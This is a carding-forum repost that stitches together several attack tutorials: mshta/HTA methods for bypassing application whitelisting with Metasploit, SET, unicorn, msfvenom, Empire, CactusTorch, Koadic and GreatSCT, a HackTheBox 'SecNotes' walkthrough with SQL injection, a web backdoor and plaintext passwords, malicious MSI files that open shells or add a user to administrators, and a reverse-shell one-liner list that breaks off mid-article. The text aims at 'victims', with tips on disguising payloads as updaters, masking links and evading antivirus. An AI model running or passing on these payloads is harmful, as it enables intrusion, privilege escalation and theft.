Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc
[Guide] How to Bypass Application Whitelisting using mshta.exe (Multiple Methods) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Bypass Application Whitelisting using mshta.exe (Multiple Methods) (/Thread-Guide-How-to-Bypass-Application-Whitelisting-using-mshta-exe-Multiple-Methods)

[Guide] How to Bypass Application Whitelisting using mshta.exe (Multiple Methods) - NINZA - 05-14-2020

Today we are going to learn about different methods of HTA attack. HTA is a useful and important attack because it can bypass application whitelisting.  In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with mshta.exe.

And to learn different methods of the said attack always come handy.

Table of Content:
  • Introduction
  • Importance of HTA
  • Different methods
  • Conclusion
Introduction

For a long time, HTA files have been utilized as part of drive-by web assaults or droppers for malware within the wild. This includes doing something as basic as diverting mobile clients and educating that the website doesn’t, however, have mobile support. HTA files are well known within the world of cybersecurity in perspectives of both red teaming and blue teaming as one of those “retro” ways valuable to bypass application whitelisting.

Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or Visual with. You can interpret these files using the Microsoft MSHTA.exe tool.

Importance

Finally, utilizing htaccess files or other strategies to divert based on browser sorts will help increase victory rates. Utilizing HTA files for web-based assaults. There’s a ton of adaptability inside an HTA file; you’ll effectively make it appear to be an Adobe updater, secure record per user, and a number of other things. It would moreover be useful to have the HTA file over HTTPS constraining discovery rates for companies not utilizing a few sorts of SSL interception/termination. HTA records help to bypass antivirus since they are still not well identified. Last but not least HTA can also be used in web phishing, replacing old Java Applet attack.

Methods

There are multiple methods for an HTA attack. And we are going to shine a light to almost all of them. Methods we are going to study are:
  • Metasploit
  • Setoolkit
  • Magic unicorn
  • Msfvenom
  • Empire
  • CactusTorch
  • Koadic
  • Great SCT
Metasploit

Our first method is to use an inbuild exploit in Metasploit. For this, go to the terminal in your kali and type :

Msfconsole

Metasploit contain “HTA Web Server” module which generates malicious hta file. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed. As the Metasploit will start up, type :

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
1
2
3
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

[Image: 1.png?w=687]

Once the exploit is executed, it will give you an URL link with the extension of .hta. Simultaneously, Metasploit will start the server which allows you to share the file. This link you further have to run in your victim’s PC. Using the following command:

mshta.exe //192.168.1.109:8080/pKz4Kk059Nq9.hta
1
mshta.exe //192.168.1.109:8080/pKz4Kk059Nq9.hta

The usual file extension of an HTA is .hta. We have used the above command because HTA is treated like any executable file with extension .exe, hence, executed via mshta.exe. When hta gets launched by mshta.exe it uses a signed Microsoft binary, allowing you to call PowerShell and inject a payload directly into memory.

[Image: 2.png?w=687]

Once the above command is executed you will have a session open. To access the session, type:

sessions 1
1
sessions 1

Thus, you will have your meterpreter session.

[Image: 3.png?w=687]

Setoolkit

Our method for HTA attack is through setoolkit. For this, open setoolkit in your kali. And from the menu given choose the first option by typing 1 to access social engineering tools.

[Image: 4.png?w=687]

From the next given menu, choose the second option by typing 2 to go into website attack vendors.

[Image: 5.png?w=687]

From the further given menu choose option 8 to select the HTA attack method.

[Image: 6.png?w=687]

Once you have selected the option 8 for HTA attack, next you need to select option 2 which will allow you to clone a site. Once selected the option 2, it will ask the URL of the site you want to clone. Provide the desired URL as here we have given ‘

[To see content please register here]

’.

[Image: 7.png?w=687]

After giving the URL it will ask you to select the type of meterpreter you want. Select the third one by typing 3.

[Image: 8.png?w=687]

Once you hit enter after typing 3, the process will start and you will have the handler (multi/handler)

[Image: 9.png?w=687]

Now convert your malicious IP into bitly link which will appear more genuine to victims when you will share this link with them.

[Image: 10.png?w=687]

When the victim will browse above malicious link, the file will be saved and automatically executed in the victim’s PC after being saved; as shown in the image below:

[Image: 11.png?w=687]

Then you will have your meterpreter session. You can use the command ‘sysinfo’ to have the basic information about the victim’s PC.

[Image: 12.png?w=687]

Magic Unicorn

Next method for HTA attack is using unicorn third-party tool. The tool magic unicorn is developed by Dave Kennedy. It is a user-friendly tool which allows us to perform HTA attack by injecting shellcode straight into memory. The best part of this tool is that it’s compatible with Metasploit, along with shellcode and cobalt strike. You can have a detailed look at the software at trustedsec.com, and you can download the software from GitHub or just by using this link:

[To see content please register here]



Once you have downloaded magic unicorn. Open it in the terminal of kali and type:

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 1234 hta
1
python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 1234 hta

[Image: 13.png?w=687]

Executing the above command will start the process to create a .hta file. The said .hta file will be created in a folder hta-attack/. Go into that folder and see the list of files created by typing following commands :

cd hta_attack/
ls
1
2
cd hta_attack/
ls

Now you will be able to see a .hta file i.e. Launcher.hta. Start the python server so the file can be shared. To do so, type :

python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80

[Image: 14.png?w=687]

Once the server is up and running execute the following command in the cmd prompt of the victim’s PC :

mshta.exe //192.168.1.109/Launcher.hta
1
mshta.exe //192.168.1.109/Launcher.hta

[Image: 15.png?w=687]

When the above command will be executed, you will have your session activated in the multi/handler. To access the session, type :

sessions 1
1
sessions 1

[Image: 16.png?w=687]

MSFVenom

The next method of HTA attack is by manually creating a .hta file through msfvenom. Create a .hta file, type the following command in the terminal of kali:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f hta-psh > shell.hta
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f hta-psh > shell.hta

Executing the above command will create a .hta file which you can use to your advantage. After creating the file, turn on the python server to share the file to victim’s PC by typing:

python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80

[Image: 17.png?w=687]

Run the above file by typing:

mshta.exe 192.168.1.109/shell.hta
1
mshta.exe 192.168.1.109/shell.hta

[Image: 18.png?w=687]

Simultaneously, start your handler to receive a session when you run the above file in the victim’s cmd prompt. To start the multi/handler type:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

And so, with using such an easy method, you will have your session of meterpreter. You can use sysinfo to know the basics of the victim’s PC.

[Image: 19.png?w=687]

PowerShell Empire

For our next method of HTA Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our hta tacks with Metasploit but in this method, we will use empire framework. It’s solely python based PowerShell windows agent which make it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from

[To see content please register here]

.

To have a basic guide of Empire, please visit our article introducing empire:

[To see content please register here]



Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :

uselistener http
set Host //192.168.1.109
set port 80
execute
1
2
3
4
uselistener http
set Host //192.168.1.109
set port 80
execute

With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell

[Image: 20.png?w=687]

For our HTA attack, we will use a stager. A stager, an empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:

usestager windows/hta
set Listener http
set OutFile /root/Desktop/1.hta
execute
1
2
3
4
usestager windows/hta
set Listener http
set OutFile /root/Desktop/1.hta
execute

usestager will create a malicious code file that will be saved in the outfile named 1.hta. And once the file runs, we will have the result on our listener. Run the file in your victim’s by typing the following command :

mshta.exe //192.168.1.109:8080/1.hta
1
mshta.exe //192.168.1.109:8080/1.hta

[Image: 21.png?w=687]

To see if we have any session open type ‘agents’. Doing so will show you the name of the session you have. To access that session type :

interact L924Z1WR
1
interact L924Z1WR

The above command will give you access to the session.

sysinfo
info
1
2
sysinfo
info

[Image: 22.png?w=687]

Cactustorch

Cactustorch is a framework for javascript and VBScript shellcode launcher. It is developed by Vincent Yiu. This tool can bypass many common defenses which is an advantage for us till now. The major to thing to note is that the code we use in cactustorch is made through msfvenom and then encoded into Base64 as it only supports that.

So, to start with let’s first make our malware and then encrypt it.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f raw > 1.bin
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f raw > 1.bin

Now to encrypt the file type:

cat 1.bin |base64 -w 0
1
cat 1.bin |base64 -w 0

Copy the base64 code as it is to be used later.

[Image: 23.png?w=687]

Now that we have our malware ready, let’s download cactustorch. You can download it from here:

[To see content please register here]



Once it’s installed type the following to the content of the folder installed:

ls -la
./CACTUSTORCH.hta
1
2
ls -la
./CACTUSTORCH.hta

The above command will start cactustorch for hta attack.

[Image: 24.png?w=687]

Once the cactustorch starts, paste the base64 code, at the highlighted space as shown in the image below, which was copied earlier.

[Image: 25.png?w=687]

As we have added our code, let’s execute the file in our victim’s PC by typing:

mshta.exe //192.168.1.109/CACTUSTORCH.hta
1
mshta.exe //192.168.1.109/CACTUSTORCH.hta

[Image: 26.png?w=687]

Simultaneously, start your multi/handler to receive a session. For multi/handler type:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

Once you execute the file in the victim’s PC, you will have your session.

[Image: 27.png?w=687]

Koadic

Our next method is using Koadic. Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link: 

[To see content please register here]



Once the koadic is up and running, type info to get a list of details you need to provide in order to have a session. Through info, you know that you need to provide srvhost along with setting endpoint. So to set them type :

set srvhost 192.168.1.107
set ENDPOINT sales
run
1
2
3
set srvhost 192.168.1.107
set ENDPOINT sales
run

[Image: 28.png?w=687]

Execute you’re the file in your victim’s PC by typing:

//192.168.1.107:9999/sales
1
//192.168.1.107:9999/sales

[Image: 29.png?w=687]

And you will have a session up and running. To know the name of session type:

zombies
1
zombies

And now to access the session type:

zombies 0
1
zombies 0

[Image: 30.png?w=687]

GreatSCT

GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from here: //github.com/GreatSCT/GreatSCT

Once it’s downloaded and running, type the following command to access the modules:

use Bypass
1
use Bypass

[Image: 31.png?w=687]

Now to see the list of payloads type :

list
1
list

[Image: 32.png?w=687]

Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :

use mshta/shellcode_inject/base64_migrate.py
1
use mshta/shellcode_inject/base64_migrate.py

[Image: 33.png?w=687]

Once the command is executed, type :

generate
1
generate

[Image: 34.png?w=687]

After executing generate command, it asks you which method you want to use. As we are going to use msfvenom type 1 to choose the first option. Then press enter for meterpreter. Then provide lhost and lport i.e. 192.168.1.107 and 4321 respectively.

[Image: 35.png?w=687]

When generating the shellcode, it will ask you to give a name for a payload. By default, it will take ‘payload’ as a name. As I didn’t want to give any name, I simply pressed enter.

[Image: 36.png?w=687]

Now, it made two files. One resource file and other an hta file.

[Image: 37.png?w=687]

Now, firstly, start the python’s server in /usr/share/greatsct-output by typing:

python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80

[Image: 38.png?w=687]

Now execute the hta file in the command prompt of the victim’s PC.

[Image: 39.png?w=687]

Simultaneously, start the multi/handler using recourse file. For this, type :

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

And voila! You have your session.

[Image: 40.png?w=687]

Conclusion

So basically, this type of attack is a simple HTA attack provide full access to the remote attacker. An attacker can create a malicious application for the Windows operating system using web technologies to clone a site. In a nutshell, it performs PowerShell injection through HTA files which can be used for Windows-based PowerShell exploitation through the browser. And the above are the methods used for the attack. As they say, if one door closes another opens; therefore when the same attack is learned through different ways are often convenient.



Today we are going to solve another CTF challenge “SecNotes”. SecNotes is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to their experience. They have a collection of vulnerable labs as challenges; ranging from beginners to expert level.

Level: Easy

Task: To find user.txt and root.txt file

Penetration Methodology:

  1. Scanning Network
  • TCP and UDP ports scanning (nmap).
  1. Testing port 80
  • Exploiting 2nd order SQL injection on sign up form.
  • Retrieving all the notes in the system.
  • Retrieving “tyler’s” account password.
  1. SMB (port 445) penetration
  • Accessing victim shell using smbclient.
  • Uploading simple-backdoor.php on victim’s machine.
  • Triggering backdoor via a browser.
  • Exploiting newly created RCE using Metasploit’s smb_delivery exploit.
  • Reading the user.txt flag.
  1. Privilege Escalation
  • Discovering a Windows Subsystem for Linux (WSL).
  • Obtaining bash shell from bash.exe.
  • Reading administrator password from bash_history.
  • Connecting to Administrator using SMB.
  • Reading root.txt flag.
Without any further ado, let’s dive right into it.

The first step as always is to perform a nmap scan. We performed an all ports system scan here.

nmap -p- -sV 10.10.10.97
1
nmap -p- -sV 10.10.10.97

That told us there are three ports open:

80- web server

445- smb server

8808- web server

[Image: 1.png?w=687&ssl=1]

We launched the website on port 80 only to discover a login form.

After playing around with the page sources and source code checking we didn’t find anything useful.

[Image: 2.png?w=687&ssl=1]

But there was a sign-up option too. We signed up using a random name and password and it seemed to lead us to an account where you could take notes and delete them and also change the password.

We tried inserting SQL injection queries in the login form and nothing showed up. Then we tried inserting 2nd order SQL injection which is nothing but inserting SQL injection queries on the sign-up form itself hoping that the server side script shows any unusual behavior and reveals some database information.

According to PortSwigger: “Second-order SQL injection arises when user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way. To detect the vulnerability, it is normally necessary to submit suitable data in one location, and then use some other application function that processes the data in an unsafe way.”

The query that we used was:

Username: ' or 1='1
Password: ' or 1='1
Confirm password: ' or 1='1
1
2
3
Username: ' or 1='1
Password: ' or 1='1
Confirm password: ' or 1='1

[Image: 3.png?w=687&ssl=1]

It hit successfully and opened up a user account. Seemed like the heading was causing this 2nd order SQLi vulnerability. But it solved our purpose and gave us three notes from the database. The third one had something that seemed like the username and password of a service.

\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&
1
2
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&

[Image: 4.png?w=687&ssl=1]

Tyler seems to be a person responsible for people’s queries. After obtaining Tyler’s password the first guess was logging into SMB server running on port 445.

For the purpose we used smbclient. Once we successfully logged into the system we listed the directories using ls command.

This seems like a different website than the one on port 80. Maybe this is the one on port 8808.

So, we uploaded a PHP RCE payload called “simple-backdoor.php” that is present in Kali Linux in the directory: “/usr/share/webshells/php” using the put command in smb shell which allows us to run windows commands remotely on the server.

smbclient –L 10.10.10.97 –U tyler
password: 92g!mA8BGjOirkL%OG*&
smbclient //10.10.10.97/new-site -U tyler
Password: 92g!mA8BGjOirkL%OG*&
ls
put simple-backdoor.php
ls
1
2
3
4
5
6
7
smbclient –L 10.10.10.97 –U tyler
password: 92g!mA8BGjOirkL%OG*&
smbclient //10.10.10.97/new-site -U tyler
Password: 92g!mA8BGjOirkL%OG*&
ls
put simple-backdoor.php
ls

[Image: 5.png?w=687&ssl=1]

It was now time to trigger the backdoor we just uploaded to check if RCE is even working or not on the server.

10.10.10.97:8808/simple-backdoor.php?cmd=whoami
1
10.10.10.97:8808/simple-backdoor.php?cmd=whoami

[Image: 6.png?w=687&ssl=1]

It seems to be working just fine! Now on a new window in the terminal, we run Metasploit.

We are looking for an exploit called smb_delivery that triggers RCE on windows and gives a meterpreter session.

This is only one of the multiple ways through which you could exploit SMB. You can explore multiple ways to do so in our article (SMB penetration testing (Port 445))

[To see content please register here]

.

So essentially what happens here is that after setting up an LHOST and SRVHOST MSF generates a one-liner that we’ll copy on the RCE vulnerability and will trigger and give us meterpreter.

use exploit/windows/smb/smb_delivery
set LHOST 10.10.14.9
set SRVHOST 10.10.14.9
exploit
1
2
3
4
use exploit/windows/smb/smb_delivery
set LHOST 10.10.14.9
set SRVHOST 10.10.14.9
exploit

[Image: 7.1.png?w=687&ssl=1]

Here, 10.10.14.9 is my local IP.

Alright, so we did as Metasploit asked us to do and ran the rundll32.exe command on the browser where we had RCE vulnerability.

[Image: 7.png?w=687&ssl=1]

Side by side, we checked our terminal and we had gained a meterpreter session! To confirm we are in the windows server we ran sysinfo and pwd to check the current directory we are in.

sysinfo
pwd
1
2
sysinfo
pwd

[Image: 8.png?w=687&ssl=1]

After playing around a while in the machine, we found user.txt on Tyler’s desktop! But we are only half done till now with no clue where to proceed ahead. Although, a file called bash.lnk caught our attention which is a link to bash and this is weird. What is a bash file doing on a windows system? We proceeded to download the link file on our system and read what’s in it.

cd Users
ls
cd tyler/Desktop
cat user.txt
download bash.lnk /root/
1
2
3
4
5
cd Users
ls
cd tyler/Desktop
cat user.txt
download bash.lnk /root/

[Image: 9.png?w=687&ssl=1]

The language of the link file seemed quite unreadable so we used the strings command to read the bash.lnk file which eventually revealed a link to bash.exe!

strings bash.lnk
1
strings bash.lnk

[Image: 11..png?w=687&ssl=1]

We thought the path to bash.exe was C:\Windows\System32\bash.exe but it was not! The file was missing from the path. We didn’t want to traverse the whole system manually so instead, we used the where command.

Where command gave us the exact directory of bash.exe and after executing it, we received an improper teletype of bash!

We used the python one-liner to spawn a proper teletype and proceeded further to read bash_history.

It told us in clear text about a user Administrator and its password!

shell
where /R c:\ bash.exe
<running the bash.exe>
id
ls –la
cat .bash_history
1
2
3
4
5
6
shell
where /R c:\ bash.exe
<running the bash.exe>
id
ls –la
cat .bash_history

[Image: 12.png?w=687&ssl=1]

It is only obvious now that we have to login to Administrator using smbclient command we found in bash_history to get an admin’s smb shell!

Final steps: We traversed the directory to Administrator’s desktop and downloaded root.txt using smb’s “get” command. And there it was! The final flag!

smbclient –U 'administrator%u6!4Zwgw0M#^0Bf#Nwnh' \\\\10.10.10.97\\c$
ls
cd Users/Administrator/Desktop
ls
get root.txt
cat root.txt
1
2
3
4
5
6
smbclient –U 'administrator%u6!4Zwgw0M#^0Bf#Nwnh' \\\\10.10.10.97\\c$
ls
cd Users/Administrator/Desktop
ls
get root.txt
cat root.txt

[Image: 13.png?w=687&ssl=1]

Hope you enjoyed this walkthrough. Do leave a comment with your thoughts and have a nice day!



In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But Today you will learn how to bypass Applocker policies. In this post, we have block “cmd.exe” file using Windows applocker Policy and try to bypass this restriction to get command prompt.

Table of Content

Associated file formats where Applocker is applicable

Challenge 1: – Bypass Applocker with .msi file to get CMD

Little-Bit more about MSI file

Multiple Methods to get CMD
  • Generate a malicious .msi file with Msfvenom -1st Method
  • Generate a malicious .msi file with Msfvenom -2nd Method
  • Generate a malicious .msi file with Msfvenom -3rd Method
Challenge 2: – Make a local user member of the Administrative Group
  • Generate Malicious .msi file with Msfvenom -4th Method
Associated file formats where Applocker is Applicable

Windows applocker is a security policy that was introduced in home windows 7 and windows server 2008 r2 as a method to restrict the usage of unwanted Programs. In this an administrator can restrict the execution of the  following programs:

[Image: 0.png?w=687&ssl=1]

It depends entirely on the system admin which program or script he wants to set the applocker policy for program restriction or execution. There could a situation where Command Prompt (cmd.exe), or Powershell or dll file or batch file or rundll32.exe or regsrv.32 or regasm and many more are blocked.

[Image: 1.png?w=687&ssl=1]

Challenge 1: – Bypass Applocker with .msi file to get CMD

Let’s suppose you are in a similar situation where all the above-mentioned application is blocked and only Windows Installer file i.e. the .msi extension is allowed to run without any restrictions.

Then how will you use an MSI file to bypass these restrictions and get a full privilege shell?

Little-Bit more about MSI file

The MSI name comes from the original title of the program, Microsoft Installer. Since then the name has changed to Windows Installer. an MSI file extension file is a Windows Package Installer. An installation package contains all the information required to install or uninstall an application by Windows Installer. Each installation package contains a .msi file, which contains an installation database, a summary information stream and data streams for different parts of the installation.

The Windows Installer technology is divided into two parts that work in combination; these include a client-side installer service (Msiexec.exe) and a Microsoft Software Installation (MSI) package file. Windows Installer uses information contained in a package file to install the program.

The Msiexec.exe program is a component of Windows Installer. When it is called by Setup, Msiexec.exe uses Msi.dll to read the package (.msi) files, apply any transform (.mst) files, and incorporate command-line options supplied by Setup. The installer performs all installation-related tasks, including copying files to the hard disk, making registry modifications, creating shortcuts on the desktop, and displaying dialog boxes to prompt for user installation preferences when necessary.

When Windows Installer is installed on a computer, it changes the registered file type of .msi files so that if you double-click a .msi file, Msiexec.exe runs with that file.

Each MSI package file contains a relational-type database that stores instructions and data required to install (and remove) the program across many installation scenarios.

Multiple Methods to get CMD

Generate Malicious .msi file with Msfvenom -1st Method

Now let’s open a new terminal in Kali machine and generate a malicious MSI Package file as cmd.msi to get command prompt through it by utilizing the Windows/exec payload as follows:

msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer 80
1
2
msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer 80

Now transfer cmd.msi file in your Windows machine to obtain the command prompt shell as administrators.  Here we have used Python HTTP server for sharing the file in the network.

[Image: 2.png?w=687&ssl=1]

Once you have downloaded the.msi file on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the msi file with msiexec.exe inside the run prompt.

Syntax: msiexec /quiet /i

msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi
1
msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

[Image: 3.png?w=687&ssl=1]

As soon as you will hit the above-mentioned command inside run prompt, you will get the Command Prompt.

[Image: 4.png?w=687&ssl=1]

Generate Malicious .msi file with Msfvenom -2nd  Method

Note: Even if you rename the cmd.msi file in another extension, it will bypass the rule.

Repeat above to generate an MSI file with the same payload as msfvenom and named cmd.png. Since I already have a cmd.msi file in my kali, I rename it as cmd.png and used the python server to transfer it.

[Image: 5.png?w=687&ssl=1]

Once you have downloaded the cmd.png file (which is actually an .msi file) on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the .msi file with msiexec.exe inside the run prompt.

Syntax: msiexec /q /i

msiexec /q /i

[To see content please register here]


1
msiexec /q /i

[To see content please register here]



[Image: 6.png?w=687&ssl=1]

As soon as you will hit the above-mentioned command inside run prompt, you will get the Command Prompt.

[Image: 7.png?w=687&ssl=1]

Generate Malicious .msi file with Msfvenom -3rd  Method

In the above methods, we obtain a command prompt by utilizing the Windows/exec payload but now we will use windows/meterpreter/reverse_tcp payload to get full privilege command shell via meterpreter sessions.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi

Now again transfer shell.msi file in your Windows machine to obtain the command prompt shell as administrators and start multi/handler.  Here we have used Python HTTP server for sharing the file in the network.

[Image: 8.png?w=687&ssl=1]

Once you have downloaded the shell.msi file on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the .msi file with msiexec.exe inside the run prompt.

Syntax: msiexec /q /i

msiexec /q /i

[To see content please register here]


1
msiexec /q /i

[To see content please register here]



[Image: 9.png?w=687&ssl=1]

As soon as you will hit the above-mentioned command inside run prompt, you will get the Command Prompt via the meterpreter session using this exploit.

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
meterpreter > shell
1
2
3
4
5
6
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
meterpreter > shell

[Image: 10.png?w=687&ssl=1]

Challenge 2: – Make a local user member of Administrators Group

Let’s suppose you are in a similar situation where all the above-mentioned applications are blocked and only Windows Installer file i.e. the .msi extension is allowed to run without any restrictions.

Then how will you use an MSI file to bypass these restriction to make a local user member of Administrators Group where cmd.exe is block?

Note: Here aaru is a local user account which is not non-administrative user account as shown below:

[Image: 11.png?w=687&ssl=1]

As we know that due to applocker execution rule policy, cmd.exe is blocked on the local machine, therefore we cannot use the command prompt to add aaru in the administrator group.

[Image: 12.png?w=687&ssl=1]

Generate Malicious .msi file with Msfvenom -4th  Method

Generate an MSI package as admin.msi with the windows/exec payload that sends a command instructing to add local admin privileges for the user “aaru”, to the target machine.

msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi
1
msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi

Now transfer admin.msi file in your Windows machine to add aaru in the administrator’s group.  Here we have used Python HTTP server for sharing the file in the network.

[Image: 13.png?w=687&ssl=1]

Once you have downloaded the admin.msi file your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the admin.msi file with msiexec.exe inside the run prompt.

Syntax: msiexec /q /i

msiexec /q /i

[To see content please register here]


1
msiexec /q /i

[To see content please register here]



[Image: 14.png?w=687&ssl=1]

As soon as you will hit the above-mentioned command inside run prompt, you can ensure that the aaru user has become part of the administrator’s account.

[Image: 15.png?w=687&ssl=1]

Hopefully, it becomes clear to you, that, how you can use a .msi file to compromise an operating system where cmd.exe and other applications are blocked by the administrator.

References:

[To see content please register here]



[To see content please register here]





This article will help those who play with CTF challenges because today we will discuss “Windows One-Liner” to use malicious commands such as PowerShell or rundll32 to get the reverse shell of the Windows system. Generally, while abusing HTTP services or other programs, we get RCE vulnerability. This loophole allows you to remotely execute any system command. We have therefore prepared a list of Windows commands that enable you to use the target machine to get reverse connections.

Table of Content

Mshta.exe
  • Launch HTA attack via HTA Web Server of Metasploit
Rundll32.exe
  • Launch Rundll32 Attack via SMB Delivery of Metasploit
Regsvr32.exe
  • Launch Regsvr32 via Script Web Delivery of Metasploit
Certutil.exe
  • Launch MSbuild Attack via Msfvenom C# shellcode
Powershell.exe
  • Launch Powercat attack via Powershell
  • Launch cscript.exe via Powershell
  • Launch Batch File Attack via Powershell
Msiexec.exe
  • Launch msiexec attack via msfvenom
Wmic.exe
  • Launch Wmic.exe attack via Koadic
Mshta.exe

Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or VBScript with. You can interpret these files using the Microsoft MSHTA.exe tool.

Metasploit contain the “HTA Web Server” module which generates malicious hta file. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed.

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
1
2
3
4
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

Now run the malicious code through mshta.exe on the victim’s machine (vulnerable to RCE) to obtain meterpreter sessions.

[Image: 1.png?w=687&ssl=1]

Once you will execute the malicious hta file on the remote machine with the help of mshta.exe, you get the reverse connection at your local machine (Kali Linux).

mshta.exe

[To see content please register here]


1
mshta.exe

[To see content please register here]



[Image: 2.png?w=687&ssl=1]

As you can observe, we have the meterpreter session of the victim as shown below:

[Image: 3.png?w=687&ssl=1]